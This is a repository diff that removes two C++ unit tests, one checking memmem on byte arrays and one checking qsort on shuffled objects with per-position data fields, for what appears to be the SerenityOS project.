|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <assert.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
struct TestCase {
|
||||
const u8* haystack;
|
||||
size_t haystack_length;
|
||||
const u8* needle;
|
||||
size_t needle_length;
|
||||
ssize_t matching_offset { -1 };
|
||||
};
|
||||
|
||||
const static TestCase g_test_cases[] = {
|
||||
{ (const u8*) {}, 0u, (const u8*) {}, 0u, 0 },
|
||||
{ (const u8[]) { 1, 2, 3 }, 3u, (const u8[]) { 1, 2, 3 }, 3u, 0 },
|
||||
{ (const u8[]) { 1, 2, 4 }, 3u, (const u8[]) { 1, 2, 3 }, 3u, -1 },
|
||||
{ (const u8*)"abcdef", 6u, (const u8[]) {}, 0u, 0 },
|
||||
{ (const u8*)"abcdef", 6u, (const u8*)"de", 2u, 3 },
|
||||
{ (const u8[]) { 0, 1, 2, 5, 2, 5 }, 6u, (const u8[]) { 1 }, 1u, 1 },
|
||||
{ (const u8[]) { 0, 1, 2, 5, 2, 5 }, 6u, (const u8[]) { 1, 2 }, 2u, 1 },
|
||||
{ (const u8[]) { 0, 1, 1, 2 }, 4u, (const u8[]) { 1, 5 }, 2u, -1 },
|
||||
{ (const u8[64]) { 0 }, 64u, (const u8[33]) { 0 }, 33u, 0 },
|
||||
{ (const u8[64]) { 0, 1, 1, 2 }, 64u, (const u8[33]) { 1, 1 }, 2u, 1 },
|
||||
};
|
||||
|
||||
int main()
|
||||
{
|
||||
bool failed = false;
|
||||
size_t i = 0;
|
||||
for (const auto& test_case : g_test_cases) {
|
||||
auto expected = test_case.matching_offset >= 0 ? test_case.haystack + test_case.matching_offset : nullptr;
|
||||
auto result = memmem(test_case.haystack, test_case.haystack_length, test_case.needle, test_case.needle_length);
|
||||
if (result != expected) {
|
||||
failed = true;
|
||||
fprintf(stderr, "Test %zu FAILED! expected %p, got %p\n", i, expected, result);
|
||||
}
|
||||
++i;
|
||||
}
|
||||
|
||||
return failed ? 1 : 0;
|
||||
}
|
||||
|
|
@ -1,98 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Sahan Fernando <sahan.h.fernando@gmail.com>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <AK/QuickSort.h>
|
||||
#include <AK/String.h>
|
||||
#include <AK/Vector.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
const size_t NUM_RUNS = 100;
|
||||
|
||||
struct SortableObject {
|
||||
int m_key;
|
||||
int m_payload;
|
||||
};
|
||||
|
||||
int compare_sortable_object(const void* a, const void* b) {
|
||||
const int key1 = static_cast<const SortableObject*>(a)->m_key;
|
||||
const int key2 = static_cast<const SortableObject*>(b)->m_key;
|
||||
if (key1 < key2) {
|
||||
return -1;
|
||||
} else if (key1 == key2) {
|
||||
return 0;
|
||||
} else {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
int calc_payload_for_pos(size_t pos) {
|
||||
pos *= 231;
|
||||
return pos ^ (pos << 8) ^ (pos << 16) ^ (pos << 24);
|
||||
}
|
||||
|
||||
void shuffle_vec(Vector<SortableObject> &test_objects)
|
||||
{
|
||||
for (size_t i = 0; i < test_objects.size() * 3; ++i) {
|
||||
auto i1 = rand() % test_objects.size();
|
||||
auto i2 = rand() % test_objects.size();
|
||||
swap(test_objects[i1], test_objects[i2]);
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// Generate vector of SortableObjects in sorted order, with payloads determined by their sorted positions
|
||||
Vector<SortableObject> test_objects;
|
||||
for (auto i = 0; i < 1024; ++i) {
|
||||
test_objects.append({i * 137, calc_payload_for_pos(i)});
|
||||
}
|
||||
for (size_t i = 0; i < NUM_RUNS; i++) {
|
||||
// Shuffle the vector, then sort it again
|
||||
shuffle_vec(test_objects);
|
||||
qsort(test_objects.data(), test_objects.size(), sizeof(SortableObject), compare_sortable_object);
|
||||
// Check that the objects are sorted by key
|
||||
for (auto i = 0u; i + 1 < test_objects.size(); ++i) {
|
||||
const auto &key1 = test_objects[i].m_key;
|
||||
const auto &key2 = test_objects[i + 1].m_key;
|
||||
if (key1 > key2) {
|
||||
printf("\x1b[01;35mTests failed: saw key %d before key %d\n", key1, key2);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
// Check that the object's payloads have not been corrupted
|
||||
for (auto i = 0u; i < test_objects.size(); ++i) {
|
||||
const auto expected = calc_payload_for_pos(i);
|
||||
const auto payload = test_objects[i].m_payload;
|
||||
if (payload != expected) {
|
||||
printf("\x1b[01;35mTests failed: expected payload %d for pos %u, got payload %d\n", expected, i, payload);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("Tests succeeded\n");
|
||||
return 0;
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue